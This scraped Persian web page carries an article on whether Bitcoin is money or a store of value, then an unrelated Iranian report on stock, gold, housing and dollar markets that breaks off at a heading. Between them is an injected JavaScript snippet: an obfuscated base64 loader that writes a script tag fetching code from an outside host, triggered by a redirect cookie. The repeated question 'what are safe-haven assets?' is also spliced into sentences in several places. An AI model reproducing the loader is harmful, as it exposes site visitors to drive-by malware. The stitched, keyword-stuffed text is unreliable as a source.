استفاده از بیت کوین هنوز هم کمی جسورانه و سخت است. به طور طبیعی نمی توان از این ارز دیجیتال مانند کارت اعتباری برای پرداخت ها استفاده کرد. بسیاری از شرکت ها، از جمله نکسو در حال فعالیت در این زمینه هستند، اما با این وجود، این محصول همچنان بسیار پیچیده است.
بیت کوین چیست؟ پول، ارز یا ذخیره ارزش!
بر اساس گزارش های منتشر شده، با نزدیک شدن به رویداد هاوینگ بیت کوین، تقاضا برای این دارایی دیجیتال نیز افزایش می یابد، همانطور که در ماه گذشته نیز شاهد رشد حدود ۱۵ درصدی این ارز دیجیتال بودیم. پیش بینی می شود که هاوینگ بیت کوین در ماه مه ۲۰۲۰ اتفاق بیفتد و نرخ عرضه بیت کوین از ۱۲٫۵ به ۶٫۲۵ بیت کوین در هر بلاک یا هر ۱۰ دقیقه کاهش یابد. با گذشت زمان، کمبود و بالا بودن نرخ بیت کوین این ارز دیجیتال را برای سرمایه گذاران به طور فزاینده ای جذاب می کند.
از آنجا که بیت کوین همچنان به سمت جریان اصلی و رو به جلو در حال حرکت است، این مسئله مهم است که دریابید، دید جهانیان نسبت به این ارز دیجیتال چگونه است. با توجه به این نکته، در اینجا سؤالات بسیار مهمی وجود دارد که باید پرسیده شود که از جمله آنها عبارتند: بیت کوین چیست؟ آیا یک ارز است؟ یک نوع پول است؟ یک ذخیره ارزش است؟ همه موارد فوق است یا هیچ یک از آنها نمی باشد؟ شاید این ارز دیجیتال یک چیز کاملاً جدید باشد؟
برخی به دلیل کمبود، عدم مقاومت و ویژگی های یک پناهگاه امن از بیت کوین به عنوان یک ذخیره ارزش دفاع می کنند. کوین بیس در یک پست وبلاگ اخیر خود به این خصوصیات و سایر موارد دیگری اشاره کرد تا این واقعیت را مطرح کند که بیت کوین با طلا به عنوان ذخیره ارزش در عصر دیجیتال رقیب می کند.
در حالی که تجزیه و تحلیل یکی از موارد معتبری است که وجود دارد، بعضی عنوان می کنند که هدف واقعی بیت کوین این است که باید به عنوان روش پرداخت غیرمتمرکز یا به تعبیر ساتوشی، “یک سیستم پول نقد الکترونیکی همتا” باشد.
خصوصیات غیر متمرکز بیت کوین نرخ عرضه قابل پیش بینی را ارائه می دهد، در حالی که از نظر تئوری از مداخله دولت هم در سیاست های پولی و هم در پردازش معاملات خود جلوگیزی می کند و امکان انتقال ارزان، سریع و بدون سانسور را در سراسر جهان فراهم می کند.
در حالی که ذات بیت کوین این است همتا به همتا باشد، از مداخله انسان مصون است (البته با حمله ۵۱ درصدی) اما محدودیت هایی را نیز به همراه دارد که از جمله آنها می توان به موقعیت بیت کوین به عنوان ذخیره ارزش اشاره کرد که از این نظر مانند طلاست و یک ارز مجازی است که کمتر برای امور روزانه مورد استفاده قرار می گیرد.
چه چیزی باعث می شود که چیزی مانند طلا به یک ذخیره ارزش تبدیل شود و چه چیزی دلار آمریکا را به یک ارز تبدیل کند؟ به عبارت ساده، ذخیره ارزش، یک دارایی است که می تواند ارزش خود را بدون اینکه کاهش یابد، در طول زمان حفظ کند که از جمله آن عبارت است از فلزات گرانبها مانند طلا یا نقره و دارایی های سودآورمانند اوراق قرضه. در مقابل ، ارز هیچ ارزش ذاتی ندارد. این یک واحد اندازه گیری و یک وسیله پرکاربرد است که هیچ ارزش ذاتی برای خود ندارد. ارز نوعی پول است و ارزش آن همیشه به پول وابسته است.
بر خلاف ارز، پول دارای ارزش ذاتی است و با تقاضا نمی تواند ایجاد شود. ارز را می توان به عنوان رسید پول یا کالاها مشاهده کرد. هنگامی که استاندارد طلا اجرایی شد، مردم می توانستند اسکناس های بانکی خود را برای خرید طلا خرج کنند. هنگامی که استاندارد طلا از معادله خارج شد، دلار ایالات متحده با چاپ های جدید ، ارزش خود را به طور مداوم از دست داد و ارزش کل دلارهای موجود در گردش نیز با کاهش روبرو شد. این بدان معنی است که دلار آمریکا دارای ارزش نسبی است نه ارزش ذاتی. اما با ایجاد میزان بیشتری از چیزهایی مانند طلا یا بیت کوین (از طریق استخراج) ارزش واحدهای باقیمانده کاهش نمی یابد، زیرا آنها دارای ارزش ذاتی هستند.
در حالی که در گذشته پشتوانه برخی ارزها، فلزات گرانبها یا سایر ارزهای ملی قوی تر بودند، اما بیشتر ارزها، پشوانه ای از یک دارایی زیرساختی ندارند و ارزش آنها فقط با پذیرش گسترده از سوی مردم و ثبات دولت و اقتصاد به دست می آید.
بیت کوین علی رغم اینکه به عنوان یک ارز دیجیتال طبقه بندی می شود، نمی تواند یک ارز باشد زیرا دارای ارزش ذاتی است. در حالی که برخی علیه آن سخن گفته و استدلال می کنند که منابع صرف شده برای عرضه واحدهای جدید تضمین کننده آن است و برخلاف ارز فیات، بیت کوین نمی تواند از خارج از قاعده ایجاد شود. به عبارت دیگر، استخراج بیت کوین هزینه دارد و جالب اینکه، این هزینه فقط برای ایجاد واحدهای جدید استفاده نمی شود، بلکه عملکرد و قابلیت اطمینان بیت کوین را نیز به عنوان یک دفتر کل غیر متمرکز و سیستم پرداخت بین المللی تضمین می کند.
ذخیره ارزش بودن، یکی از ویژگی های اجباری پول است و اگرچه این دو مفهوم قابل تعویض نیستند، اما یک فلز گرانبها مانند طلا را می توان پول در نظر گرفت، زیرا از بسیاری از ملزومات اصلی مانند قابل تقسیم بودن، پایدار بودن و قابل حمل تبعیت می کند که از این نظر بسیار شبیه بیت کوین است. با این حال، طلا فاقد یکی از مهمترین ویژگیهایی است که بتوان آن را به عنوان پول طبقه بندی کرد و آن ویژگی این است که به طور کلی، طلا برای پرداخت هزینه کالاها و خدمات پذیرفته نمی شود. اما در مورد بیت کوین چطور؟
بیت کوین به عنوان پول
در حالی که بیت کوین ثابت کرده است که می تواند به عنوان یک ذخیره ارزش باشد اما آیا می توان گفت که این ارز دیجیتال، واقعاً پول است؟ شش ویژگی مهم در تعریف پول وجود دارد که عبارتند از: پایداری، قابلیت حمل، تقسیم پذیری، یکنواختی، عرضه محدود و اینکه به عنوان یک روش پرداخت مورد پذیرش است.
در حالی که بیت کوین از پنج قانون اول پیروی می کند، اما به طور کلی، به عنوان یک روش پرداخت پذیرفته نیست. بله ، پرداخت کالا و خدمات با بیت کوین هم بصورت آنلاین و هم به صورت آفلاین امکان پذیر است، اما تنها توسط عده کمی از معامله گران پذیرفته می شود. اگرچه برخی از بازیگران بزرگ مانند مایکروسافت و Overstock قبلاً بیت کوین را به عنوان یک روش پرداخت برخی از خدمات خود می پذیرند و حتی برخی از دولت ها برای آن مالیات در نظر گرفته اند، اما وقتی با یک پول ملی مانند دلار آمریکا مقایسه می شود ، باسطح پذیرش کمی روبرو می باشد. بنابراین، بیت کوین نیز مانند طلا، عملا پول نیست. اما سؤال اینجاست که آیا بیت کوین می تواند تبدیل به پول شود؟
ارز دیجیتال
آیا بیت کوین می تواند پول شود؟ مشکلات و محدودیت ها موجود در این رابطه کدامند؟
در حالی که بیت کوین از لحاظ تئوری می تواند در صورت استفاده گسترده به پول تبدیل شود، محدودیت های تکنیکال مختلفی در این زمینه وجود دارد که این امر را به عنوان پول به شکل فعلی خود غیر عملی می کند. کوین تلگراف در این باره با آنتونی ترنچف (Antoni Trenchev)، مدیر ارشد برنامه بانکداری ارزهای دیجیتال نکسو (Nexo)، صحبت کرد تا عیار بیت کوین را به عنوان یک ذخیره ارزش بسنجد و پتانسیل آن را به عنوان پول دریابد. ترنچف ذات پیچیده بیت کوین را به عنوان یکی از اصلی ترین محدودیت های آن ذکر کرد. وی در این باره عنوان کرد:
استفاده از بیت کوین هنوز هم کمی جسورانه و سخت است. به طور طبیعی نمی توان از این ارز دیجیتال مانند کارت اعتباری برای پرداخت ها استفاده کرد. بسیاری از شرکت ها، از جمله نکسو در حال فعالیت در این زمینه هستند، اما با این وجود، این محصول همچنان بسیار پیچیده است.
در حالی که استفاده از بیت کوین برای جمعیتی خاص می تواند نسبتاً ساده به نظر برسد، اما همچنان استفاده از آن دشوار بوده و همچنین استفاده از آن در برخی شرایط ممکن است گران تمام شود. یک معامله استاندارد بیت کوین می تواند از۰٫۰۲ دلار تا ۰٫۱۰ دلار هزینه در بر داشته باشد که هنگام انتقال پول به خارج از کشور بسیار ارزان است، اما هنگام استفاده برای نقل و انتقالات و پرداخت های خرد می تواند مبلغ زیادی باشد.
علاوه بر این، میزان کارمزدها بسته به میزان تراکنش های انجام شده درون شبکه متفاوت است. تراکنش ها در بلاک ها گروه بندی می شوند و وقتی بلاک پر شود، تراکنش های باقی مانده باید منتظر بلاک بعدی باشند. این ویژگی می تواند باعث بروز مشکلات جدی و ایجاد دارایی های پناهگاه امن چیست؟ دارایی های پناهگاه امن چیست؟ تراکم شود و آنچه را که به عنوان “کارمزد بازار” شناخته می شود، ایجاد کند.
تراکم شبکه در زمان وقوع بازار گاوی بیت کوین در سال ۲۰۱۷ در اوج خود قرار داشت. با این که کارمزدها به ۵۰ دلار می رسید و تائید برخی از تراکنش ها ساعت ها یا حتی روزها طول می کشید، این ارز دیجیتال در آن زمان برای نقل و انتقالات و پرداخت های عادی به سختی غیرقابل استفاده بود.
از آن زمان تا کنون، توسعه هایی مانند سگویت باعث افزایش ظرفیت بیت کوین شده است. داده های Blockchain.com نشان می دهد که میزان تراکنش ها در هر ثانیه در اوج خود قرار دارد و تاکنون هیچ نشانی از ازدحام وجود ندارد. با این وجود این موضوع برای بیت کوین چندان قابل توجه نیست چرا که از سیستم های پرداختی مانند ویزا که از لحاظ تئوری می توانند ۲۴٫۰۰۰ تراکنش در ثانیه را انجام دهند بسیار ناچیز است.
بیت کوین در مقابل طلا: یک ذخیره ارزش جدید برای عصر دیجیتال
در حالی که راه حل هایی مانند شبکه لایتنینگ به دنبال رفع مشکلات فوق در بیت کوین هستند، یک شبکه لایه دوم را فراهم می کند که در آن می توان تراکنش های خرد را با کارمزد کمتری بدون ایجاد تراکم در شبکه اصلی بیت کوین انجام داد، اما آنها از سطح تولید فاصله دارند.
با وجود این، آنتونی که پیش از این پیش بینی کرده بود بیت کوین تا سال ۲۰۲۰ به ۵۰،۰۰۰ دلار برسد، عنوان کرد که حتی اگر بیت کوین نتواند به عنوان یک پول مورد پذیرش انبوه واقع نشود، بازهم دارای روندی صعودی است. وی به کوین تلگراف گفت:
یک روایت وجود دارد که می گوید، بیت کوین قرار بود یک سیستم پرداخت انقلابی و همتا به همتا باشد. من فکر می کنم که این مسئله به هیچ وجه تحقق نیافته است. بیت کوین ویژگی های یک ارز را دارد اما بیشتر از آن به عنوان ذخیره ارزش و انتقال ارزش به ویژه در مقادیر زیاد استفاده می شود.
از طرف دیگر Vytautas Karalevičius ، مدیرعامل بانک مبتنی بر ارز دیجیتال Bankera معتقد است که وضعیت بیت کوین نیز مانند پول های پذیرفته شده در جوامع تبدیل خواهد شد و رسیدن به چنین وضعیتی زمانبر است. وی در این باره عنوان کرد:
بیت کوین نمی تواند شکست بخورد، سؤال اینجاست که چقدر طول خواهد کشید تا فناوری (سخت افزاری مانند هارد دیسک، پهنای باند) بهبود یابد و به عنوان یک روش پرداخت پذیرفته پذیر عمل کند.
حتی اگر این راه حلهای فنی دقیقاً مطابق برنامه ریزی عمل نکنند، آینده برای بیت کوین به عنوان یک ذخیره ارزش قابل اعتماد همچنان روشن به نظر می رسد که کمبود و الگوی اباشت به جریان، آن را به یک سرمایه گذاری بسیار جذاب در برابر شرایط بی ثبات سیاسی و اقتصادی فعلی تبدیل می کند. آنتونی گفت: “واقعیت کلان ژئوپلیتیکی به گونه ای است که نمی توانم سناریویی را تصور کنم که در کوتاه مدت یا بلند مدت برای بیت کوین خوب نباشد.”
نرخ بالای تورم و سیاست های پولی سختگیرانه در طول تاریخ باعث افزایش تقاضا برای طلا شده اند و همین مسئله را می توان برای بیت کوین نیز عنوان کرد که با وجود تلاش های متعدد همچنان ثابت می کند که در برابر مداخلات دولت ها مقاوم است.
نحوه استفاده از بیت کوین
در حالی که محدودیت های بیت کوین به عنوان پول در حال حاضر غیرقابل انکار است، غلبه بر این محدودیت های تکنیکال، مطمئناً مزایای غیرقابل تصوری را به ویژه برای کشورهایی که سیاست های مالی و پولی تهاجمی دارند و بخش بزرگی از جمعیت در فقر به سر می برند، به ارمغان می آورد. تقاضا برای این دارایی دیجیتال در کشورهایی مانند ونزوئلا که دچار ابرتورم هستند، همچنان در حال افزایش است.
علاوه بر این، این دارایی به یک روش رایج برای فرار از سیاست های کنترل سرمایه در کشورهایی مانند چین تبدیل شده است. Vytautas Karalevicius معتقد است که با استفاده و پذیرش گسترده بیت کوین یک روند صعودی عظیم برای این ارز دیجیتال وجود خواهد داشت. وی در این باره به کوین تلگراف گفت:
از بین بردن هرگونه سانسور احتمالی یا محدودیت در پرداخت، آزادی پرداخت را که می توان آن را نوعی آزادی بیان دانست، قادر می سازد. در حالی که سانسور بعضی اوقات ممکن است به نفع جامعه عمل کند، از بین بردن امکان سانسور پرداخت باید بسیاری از مواردی را که امروزه در جامعه اجرا می شود، تغییر دهد، یعنی راه های جدیدی برای مبارزه با بازیگران بد پیدا می شود.
بیت کوین ممکن است در آینده نوعی پول پرکاربرد باشد یا نباشد، اما مزایای آن به عنوان یک ذخیره ارزش و پناهگاه امن در برابر ارزهایی که به سرعت بی ارزش می شوند، غیرقابل انکار است. تقریباً مانند طلا، نوسانات اقتصادی و تورم باعث تقاضای بیت کوین می شود. با راه اندازی اولین مشتقات قانون گذاری شده برای بیت کوین، تقاضای نهادی برای این ارز دیجیتال افزایش یافته و حتی صندوق های بازنشستگی، بیت کوین را به سبد خرید خود اضافه می کنند.
علاوه بر این، تقاضای خرده فروشی همان روندی را دنبال می کند که صرافی های خرده فروشی گرا، معاملات مشتقات را برای کاربران بیشتری فراهم می کنند. تمایل به نگه داشتن بیت کوین و سایر ارزهای دیجیتال به عنوانhedge یا ذخیره ارزش نیز می تواند در محبوبیت سریع رشد پروتکل های دیفای مشاهده شود که درآمد منفعلانه ای را برای دارندگان ارزهای دیجیتال فراهم می کند.
علیرغم آنچه که بیت کوین برای آن ایجاد شده است، نحوه استفاده و عملکرد واقعی آن تصمیم می گیرد که بیت کوین چیست و چه می تواند باشد. استفاده از بیت کوین عمدتاً سوداگرانه بوده است و ارزش آن هر روز فقط در بخش کوچکی از حجم تراکنش های آن در شبکه منتقل می شود. در حالی که برخی بیت کوین را به این محکوم می کنند که حباب هستند، اما همچنین می توان ادعا کرد که بیت کوین در حال حاضر علاوه بر اینکه یک ذخیره ارزش یا پول است در باز کردن درهای سرمایه گذاری به روی مخاطبان گسترده تر نیز نقش مهمی دارد. این امر در مورد دارایی های پناهگاه امن چیست؟ مفاهیمی مانند عرضه سکه اولیه یا عرضه صرافی اولیه صادق است که مانع ورود سرمایه گذاری جمعی و سرمایه گذاری در سهام می شود.
بیت کوین، چیزی بیشتر از یک ارز یا دارایی
در حالی که یک هر فردی می تواند در مورد تعاریف کنونی و آینده بیت کوین هر نظری که می خواهد داشته باشد، اما با این وجود به نظر می رسد که در مورد یک مسئله، توافق جهانی وجود دارد و آن این است که فن آوری غیرمتمرکز بیت کوین یعنی بلاک چین، با برنامه هایی که خارج از قلمرو پول قرار گرفته اند، مانند پلتفرم های قرارداد هوشمند و قراردادها و برنامه های غیرمتمرکز آمده است که بماند.
هنگامی که از سرجیو سوسکو (Sergio Susko)، مدیر توسعه تجارت و مشارکت در DappRada در مورد برنامه های مربوط به قراردادهای هوشمند و برنامه های غیر متمرکز سؤال شد، وی به کوین تلگراف گفت: ما در DappRadar برنامه های غیرمتمرکز را به دسته های مختلف مانند بازی ها، صرافی ها ، دیفای، Collectables ، قمار و غیره گروه بندی می کنیم.
اگرچه درک مفهوم برنامه های غیرمتمرکز و قراردادهای دارایی های پناهگاه امن چیست؟ هوشمند حتی پیچیده تر از خود بیت کوین است، اما سرجیو معتقد است مزایایی که توسط این مفاهیم جدید به وجود می آید، برای تکمیل پذیرش آنها در آینده توسط یک پایگاه کاربر اصلی کافی است. وی در این باره عنوان کرد:
مانند هر فن آوری جدید و پیشگامانه، در این زمینه نیز نیاز به کاربرد گسترده و متعاقباً پذیرش انبوه وجود دارد. بلاک چین، قراردادهای هوشمند و برنامه های غیرمتمرکزهمچنان در ابتدای کار خود قرار دارند و می توانید آن را با یک نوزاد تازه متولد شده مقایسه کنید. با این حال، در دنیای مدرن، درک و پذیرش فناوری ها یک فرایند نسبتاً سریع است. به محض این که یک مزیت واضح توسط کاربر مشاهده می شود حتی بدون اطلاع از نحوه کار فناوری، خیلی سریع توسط افراد مورد پذیرش قرار می گیرد می شود.
همانطور که افلاطون، فیلسوف یونانی عنوان کرده است “ضرورت، مادر نوآوری است”، اگرچه به سختی می توان گفت که این نوآوری در آینده چگونه به نظر می رسد یا حتی اینکه چگونه مورد استفاده قرار می گیرد، با این حال، باید عنوان کرد که بیت کوین و فناوری زیربنایی آن، برای ایجاد تغییر در دنیا به وجود آمده اند. و تا زمانی که این تغییر ایجاد شود، پروژه هایی مانند بیت کوین به رشد خود ادامه خواهند داد.
function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)
پناهگاه امن برای سرمایهها
دنیای اقتصاد : روند بلندمدت بازارهای مختلف، با لحاظ ترکیب ریسک-بازدهی بررسی شد. واکاوی دادههای اقتصاد ایران نشان میدهد در بازههای بلندمدت با لحاظ ریسک و بازدهی، بازار سهام بهترین ماوا و بازارهای طلا و ارز پرخطرترین ماوا برای سرمایهگذاران بودهاند. ریسک بالا در کنار بازدهی پایین نرخ ارز، عمدتا بهدلیل اصرار سیاستگذار به مدیریت فعالانه این بازار در دهههای گذشته بوده است. «دنیایاقتصاد» در این گزارش با لحاظ فروض محتمل، ۳ سناریوی مختلف برای آینده دلار را نیز بررسی و نقش سیاستگذار در مهار زوایای مختلف بازارها را تبیین کرده است.
بازار ارز در ماههای اخیر در سمت تقاضا مورد هجوم متقاضیان معاملاتی و سوداگری قرار گرفته و در سمت دارایی های پناهگاه امن چیست؟ عرضه نیز در معرض محدودیتهای تجاری-مالی قرار گرفته است. این فشارهای ۳ جانبه باعث شده تا نرخ بازار آزاد از نرخ حقیقی دلار فاصله بگیرد و آینده بازار در اذهان عمومی مبهوت بماند. سوال قابل طرح این است که آیا اصولا جریان سیاستگذاری میتواند از فشار بازار بکاهد، یا نه مسیر التهاب بازار بهطور کامل خارج از اراده سیاستگذار است؟ بررسیها نشان میدهد اگرچه در کوتاهمدت سیاستگذار انعطاف کافی برای تغییر تقاضای معاملاتی و عرضه ارز را ندارد، اما جریان تقاضای سوداگرانه حتی در کوتاهمدت نیز قابل مدیریت است. در صورتی که سیاستگذار از طریق مهار نقدینگی، جلوی رشد شاخص قیمت را گرفته و انتظارات قابلکنترل را تا حدی مدیریت کند، حتی اگر بخشی از ریسکهای سیاسی ادامه یابند، میتواند حجم تقاضای غیرمعاملاتی ارز را کاهش دهد؛ به عبارت دیگر، مهار نرخ حقیقی ارز با استفاده از سیاستهای ایجابی، میتواند لنگری برای مدیریت میانمدت و بلندمدت بازار ارز باشد.
ارز بازار محوری
بررسی دادههای بلندمدت نشان میدهد نرخ رشد سالانه نرخها در بازارهای مختلف نوسان قابلتوجهی داشته است. در بازه زمانی از ۱۳۷۰ تا ۱۳۹۷ بازار بورس با متوسط رشد سالانه ۲۹ درصد بیشترین رشد قیمت را تجربه کرده است. بعد از بورس، بازار سکه بیشترین رشد قیمت سالانه را داشته است. در بازه ۲۷ ساله مذکور متوسط رشد سالانه سکه نزدیک به بورس و معادل ۲۶ درصد بوده است. بعد از بازار سکه، بازار مسکن با رشد متوسط سالانه ۲۵ درصد در جایگاه سوم قرار داشته است. دلار در رتبهبندی متوسط رشد سالانه در جایگاه چهارم قرار داشته و نسبت به ۳ بازار دیگر کمترین رشد متوسط سالانه را تجربه کرده است؛ در بازه زمانی از ۱۳۷۰ به بعد نرخ متوسط رشد دلار حدودا ۲۰ درصد بوده است که با بازار بورس حدود ۹ درصد تفاوت داشته است. البته علاوه بر رشد شاخص قیمت، میزان نوسانات یا همان ریسک تغییرات قیمت در بازارهای مختلف، محور تحلیل بازارها و همینطور مبنای سیاستگذاری قرار میگیرد. بنابراین لازم است همزمان با تحلیل و بررسی متغیر نرخ رشد شاخص قیمت نوسانات قیمت نیز لحاظ شود. در صورتی که متغیر نوسانات به رشد شاخص قیمت نیز اضافه شود بازار مسکن به دلیل ثبات بیشتر در رتبه اول، پس از آن بازار سهام، سکه و دلار قرار دارند.
البته بررسی روند بلندمدت بازار مسکن نشان میدهد که این بازار عمدتا تابع شرایط دورهای بوده و در حال حاضر به سقف قیمتی خود نزدیک شده است. این در حالی است که بازار سهام هنوز خود را با روند تورمی اخیر تعدیل نکرده است.
بنابراین بازار ارز به لحاظ ترکیبی از رشد و نوسان، کمترین رشد متوسط سالانه را داشته است. این روند نشان میدهد دلار بهعنوان یک متغیر محوری در اقتصاد، مورد هدف سیاستگذار بوده و همواره رشد کمتری را نسبت به سایر بازارها تجربه کرده است. این ادعا با بررسی روند نرخ حقیقی دلار در دهههای اخیر نیز قابل مشاهده است. نرخ حقیقی دلار از سال ۱۳۸۰ تاکنون همواره دو الگوی رفتاری تکراری داشته است. در برهههای ثبات اقتصاد که سیاستگذار نرخ دلار را سرکوب کرده نرخ حقیقی دلار همواره کاهشی بوده است و در دورههای التهاب و نوسان که آرامش بازار از اراده سیاستگذار خارج شده، نرخ حقیقی دلار جهش مقطعی را تجربه کرده است. این الگوی تکراری «کاهشی-جهشی» همواره در دهههای اخیر تکرار شده است. بهعنوان مثال از سال ۱۳۸۱ تا سال گذشته این الگو در دو قاب بهصورت مشابه اتفاق افتاده است. در قاب اول، از سال ۱۳۸۱ تا ابتدای سال ۱۳۹۰ نرخ حقیقی دلار همواره روند کاهشی داشته اما از ابتدای سال ۱۳۹۰ تا پایان سال ۱۳۹۱ نرخ حقیقی دلار در معرض جهش قرار گرفت. این جهش بهحدی بود که جریان کاهشی فاز اول را جبران کرد و به مقدار دلار حقیقی در ۱۰ سال قبل از این دوره جهشی برگشت. مهمترین دلیل این رفتار، الگوی متفاوت حرکت شاخص قیمت و شاخص دلار است. در این بازههای زمانی شاخص قیمت با سرعت ملایم در حال افزایش بوده اما شاخص دلار تقریبا سکون داشته است. اما در فاز جهشی شاخص ارز به حدی جهش یافته که جریان فاز سرکوب را جبران کرده است. در قاب دوم که از ابتدای سال ۱۳۹۲ تاکنون ادامه داشته نیز این روند مشاهده شده است. از این سال تا اواسط سال ۹۶، شاخص قیمت با سرعت ملایم حرکت کرد اما سرکوب نرخ ارز باعث شد تا نرخ حقیقی ارز روند کاهشی بگیرد. اما این جریان سرکوب تا نیمه دوم ۹۶ ادامه یافت و نرخ ارز در این برهه در فاز جهشی قرار گرفت. این جهش به حدی بود که نرخ حقیقی دلار را دوباره به مرز آن در سال ۱۳۸۱ نزدیک کرد. بنابراین میتوان گفت تاکنون، در ساختار اقتصادی ایران، ارز بهعنوان یک بازار کلیدی در معرض سیاستهای فعالانه سیاستگذار قرار میگیرد و در بازههای بلندمدت نسبت به سایر بازارها رشد کمتری را تجربه میکند.
ارز از نقطه نظر اقتصاد کلان
مهمترین متغیرهای ابزار برای بررسی چشمانداز بازار ارز، اتفاقاتی است که در حوزههای حقیقی و اسمی در اقتصاد کلان رخ میدهد. در حوزه حقیقی متغیرهایی مانند رشد اقتصادی و در حوزههای اسمی نیز متغیرهایی مانند تورم و نرخ بهره روی مختصات بازار ارز در آینده اثر میگذارند. بهطور کلی، نرخ رشد اقتصادی مثبت، از جهات مختلفی میتواند بازار ارز را در معرض تغییر قرار دهد. از یکطرف، در صورتی که رشد تولید منجر به رشد کالاها و خدمات صادراتی شود، سمت عرضه بازار ارز تقویت میشود و بازار به سمت آرامش حرکت میکند. از طرف دیگر، رشد اقتصادی مثبت بهعنوان یک علامت انتظاری به بازار ارز سیگنال تعدیل و آرامش میدهد و در مقابل، رشد اقتصادی منفی بهعنوان یک سیگنال انتظاری منفی در بازار ارز تلقی شده و آرامش را در بازار بههم میزند. بازار سپرده بهعنوان بازار رقیب ارز تلقی میشود و هر تغییری در نرخ آن، بهطور همزمان منجر به تغییر در بازار ارز نیز میشود. کاهش نرخ سود در بازار سپرده باعث افزایش تقاضا در بازار ارز و در نتیجه نرخ رشد در این بازار را منتج میشود. شاخص قیمت نیز بهعنوان یک متغیر علت عمل کرده و نرخ را در بازار ارز به حرکت در میآورد. رشد شاخص قیمت، تمایل بازار دلار به روند صعودی را افزایش میدهد. بنابراین به منظور پیشبینی رفتار نرخ ارز در بازار، پیشبینی عقلایی رفتار این متغیرهای اقتصاد کلان اجتنابناپذیر است.
اثر رشد اقتصادی
سمت تولید در اقتصاد بهعنوان مهمترین متغیر سیگنال شناخته میشود و از جهات مختلفی بازارها را تحت تاثیر قرار میدهد. تولید در دهههای اخیر و به ویژه سالهای گذشته نوسانات قابل توجهی را تجربه کرده است. بعد از توافق برجام که محدودیتهای مالی و تجاری برداشته شد، انتظار مثبت در بازار ایجاد شد؛ بهطوری که هم صادرات نفتی افزایش یافت و هم رشد اقتصادی به محدوده دو رقمی اعداد رسید. اما چون این رشد اقتصادی دارایی های پناهگاه امن چیست؟ دارایی های پناهگاه امن چیست؟ عمدتا مبتنی بر صادرات نفت بود، روند صعودی آن با شتاب قابل توجه ادامه نیافت و در سال ۱۳۹۶ نرخ رشد اقتصادی به حدود ۳ درصد رسید. با آغاز مجدد محدودیتهای تجاری و مالی، دوباره از جانب تولید، بازارها گرایش به التهاب پیدا کردهاند. از یک طرف جامعه انتظار رشد مثبت صادرات برای سالهای پیشرو را ندارد و چشمانداز عرضه بازار ارز برای آینده کاهشی است. از طرف دیگر، رشد اقتصادی انتظاری منفی برای سالهای آتی بهعنوان یک متغیر کلی سیگنال، احتمالا تقاضای سوداگری و احتیاطی ارز را افزایش میدهد؛ به ویژه اینکه در مقطع فعلی میزان استهلاک سرمایه از میزان سرمایهگذاری پیشیگرفته و حجم انباشت سرمایه که یکی از عوامل تولید در اقتصاد است روند کاهشی در پیش گرفته است. بنابراین از نقطه نظر رشد اقتصادی، انتظار میرود در ماههای پیشرو هم عرضه ارز کاهش یابد و هم تقاضای ارز افزایش یابد که برآیند آن روند صعودی دلار خواهد بود.
اثر شاخص قیمت
شاخص قیمت بهعنوان متغیر علت نرخ ارز شناسایی میشود و رشد آن منجر به رشد نرخ ارز میشود؛ در واقع رشد شاخص قیمت داخلی در مقابله با شاخص قیمت شرکای تجاری، رقابتپذیری کالاهای خارجی را تقویت میکند و تقاضا برای ارز را افزایش میدهد که نتیجه نهایی آن افزایش نرخ در بازار ارز است. تورم در دهههای اخیر هر وقت سقف نقطه به نقطه ۵۰ درصد را لمس کرده به نقطه بازگشت رسیده و روند کاهنده را در پیش گرفته است، با این حال پیشبینی میشود موج تورمی جاری از این روند تبعیت نکند و احتمال حداقل ماندگاری تورم در موج تورمی فعلی با فرض ثبات شرایط فعلی بیشتر است. دلیل ماندگاری تورم در موج فعلی را میتوان از ۲ سیگنال نقدینگی و انتظارات دریافت کرد. در بحرانهای گذشته رشد نقدینگی و انتظارات در نقطه ماکزیمم، به کمک بازار میآمدند و آرامش را تقویت میکردند. بهعنوان مثال، در بحران ابتدای دهه جاری، عاملی که رشد شاخص قیمت را به نقطه فروکش نزدیک کرد چرخش انتظارات در انتخابات سال ۱۳۹۲ بود. اما در ماههای آتی رشد نقدینگی نهتنها کاهشی پیشبینی نمیشود بلکه به نظر میرسد روند آن صعودی است. بهعلاوه، معادلات سیاسی و اقتصادی مجهول، باعث شده تا عدم قطعیت موجود در اقتصاد در اذهان عمومی تداوم یابد. بنابراین با پذیرش پایداری تورم کنونی، میتوان استدلال کرد از نقطهنظر تورم نیز آینده نرخ در بازار ارز صعودی است.
اثر نرخ سود
بازار سپرده بهعنوان یکی از بازارهای رقیب ارز برای حفظ ارزش داراییهای آحاد اقتصادی به حساب میآید. البته فرمول غلبگی در این دو بازار در دهههای اخیر همواره ثابت و ساده بوده است؛ به این صورت که در برهههای آرامش بازار سپرده سمت مسلط بود و در موقع بحرانی سمت ارز. البته تجربه نشان داده که تغییر قواعد در یک بازار شرایط بازی در بازار دیگر را نیز به کلی تغییر میدهد؛ به ویژه اگر تغییر در بازار سپرده باشد. بهعنوان مثال در شهریورماه سال ۱۳۹۶ کاهش نرخ سود سپردههای بانکی باعث هجوم سپردهگذاران به سمت بازار ارز و سایر داراییها شد. در هفتههای اخیر رئیس کل بانک مرکزی به انحای مختلف سیگنال کاهش نرخ سود سپردههای بانکی را داده است. در صورتی که نرخ سود بانکی کاهش یابد، تقاضا در بازار ارز افزایش و نرخ در این بازار مهم رو به افزایش میرود. بنابراین در مجموع میتوان گفت برآیند اثر متغیرهای اقتصاد کلان تولید، تورم و نرخ سود بانکی، اثر افزایشی یا حداقل مقاومت برابر کاهش، روی نرخ ارز خواهند بود.
۳ سناریوی آینده ارز
